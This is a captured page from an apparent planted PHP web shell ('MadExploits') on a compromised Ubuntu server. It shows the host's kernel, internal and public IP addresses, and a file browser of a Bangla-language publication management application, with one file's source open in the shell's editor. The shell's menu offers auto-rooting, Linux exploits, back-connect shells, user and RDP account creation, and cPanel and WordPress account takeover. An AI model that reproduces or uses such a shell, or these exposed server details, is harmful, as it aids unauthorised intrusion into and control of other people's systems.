Linux 0193-eed-moe-app01 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
Apache/2.4.52 (Ubuntu)
: 172.16.229.234 | : 13.58.119.79
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.18
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
eedpims /
publication /
[ HOME SHELL ]
Name
Size
Permission
Action
publication.php
3.25
KB
-rw-r--r--
publication_editor.php
3.75
KB
-rw-r--r--
publication_list.php
5.86
KB
-rw-r--r--
view.php
2.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : publication_list.php
<?php include("../homepage/header.php"); include("../homepage/headermenu.php"); if(empty($_SESSION["username"])) { Header("Location: ../login/login.php"); } ?> <div class="container fullheight"> <div class="row"> <div class="col-md-6 col-md-offset-4"> <br/> <form name="search_frm" id="search_frm" class="form-inline"> <label>Search Key</label> <input type="text" name="field_value" id="field_value" value="<?=$_SESSION["field_value"]?>" class="form-control"> <input type="hidden" name="cmd" id="cmd" value="search_publication" > <input type="submit" class="btn btn-primary" value="Search"> </form> </div> </div> <div class="row"> <div class="col-md-8 col-md-offset-2"> <a style="text-decoration: none" href="publication.php?cmd=edit">প্রকাশনা ও জার্নালের তথ্য যোগ করুন</a></font> <div style="background-color: #ff0000;height: 2px"> </div> <br/> <table class="table table-bordered table-striped table-condensed"> <thead> <th>PIMS আইডি</th> <th>বিষয়</th> <th>প্রকাশনার ধরণ</th> <th>প্রকাশনার নাম</th> <th>প্রকাশের তারিখ</th> <th style="text-align: center">সংশোধন</th> <th style="text-align: center">ভিউ</th> </thead> <tbody> <?php if($_SESSION["search"]=="yes") { $val= $_SESSION["field_value"]; $whrstr = "%$val%"; } else { $whrstr = "%%"; } $rowsPerPage = 10; $pageNum = 1; if(isset($_REQUEST["page"])) { $pageNum = $_REQUEST["page"]; } $offset = ($pageNum - 1) * $rowsPerPage; $stmt = $conn->prepare("SELECT p.id, p.GovtId, p.pubsub, pt.PubtypeName, p.pubName, p.pubDate FROM publication p LEFT JOIN pubtype pt ON(p.pubtype_id=pt.id) WHERE p.userinfo_id=".$_SESSION["user_id"]." AND p.GovtId LIKE ? ORDER BY p.id DESC LIMIT ?, ?"); $stmt->bind_param("sii",$whrstr,$offset,$rowsPerPage); $stmt->execute(); $slno=0; //Result $result = $stmt->get_result(); $numrows=$result->num_rows; if($numrows==0) exit("No rows"); $slno=0; while($row = $result->fetch_assoc()) { $id = $row["id"]; $GovtId = $row["GovtId"]; $pubsub = $row["pubsub"]; $PubtypeName = $row["PubtypeName"]; $pubName = $row["pubName"]; $pubDate = $row["pubDate"]; ?> <tr> <td><?=bangladate($GovtId)?></td> <td><?=$pubsub ?></td> <td><?=$PubtypeName ?></td> <td><?=$pubName ?></td> <td><?=bangladate($pubDate) ?></td> <td align="center"> <a href="publication.php?cmd=edit&id=<?=$id?>"> <span class="glyphicon glyphicon-pencil"></span></a> </td> <td align="center"> <a href="view.php?GovtId=<?=$GovtId?>" > <span class="glyphicon glyphicon-eye-open"></span></a> </td> </tr> <?php } ?> </tbody> <thead> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th style="text-align: center"> </th> </thead> </table> <div align="center"> <?php $stmt = $conn->prepare("SELECT id FROM publication WHERE GovtId LIKE ? ORDER BY id ASC"); $stmt->bind_param("s",$whrstr); $stmt->execute(); //Result $result = $stmt->get_result(); $numrows=$result->num_rows; $maxPage = ceil($numrows/$rowsPerPage); $self = "publication.php?cmd=list"; $nav = ""; $start = ceil($pageNum/5)*5-5+1; $end = ceil($pageNum/5)*5; if($maxPage<$end) { $end = $maxPage; } for($page = $start; $page <= $end; $page++) { if ($page == $pageNum) { $nav .= "<span class=\"page-link\"><font color=\"red\">$page</font></span>"; } else { $nav .= " <a href=\"$self&&page=$page\" class=\"page-link\">$page</a> "; } } if ($pageNum > 1) { $page = $pageNum - 1; $prev = " <a href=\"$self&&page=$page\" class=\"page-link\">Prev</a> "; $first = " <a href=\"$self&&page=1\" class=\"page-link\">[First Page]</a> "; } else { $prev = " "; $first = " "; } if ($pageNum < $maxPage) { $page = $pageNum + 1; $next = " <a href=\"$self&&page=$page\" class=\"page-link\">Next</a> "; $last = " <a href=\"$self&&page=$maxPage\" class=\"page-link\">Last Page</a> "; } else { $next = " "; $last = " "; } if($numrows>1) { echo '<nav> <ul class="pagination"> <li class="page-item">'.$first.'</li><li class="page-item">'.$prev.'</li> <li class="page-item">'.$nav .'</li> <li class="page-item">'.$next.'</li> <li class="page-item">'. $last.'</li> </ul></nav>'; } ?> </div> </div> </div> </div> <?php include("../homepage/footer.php"); ?>
Close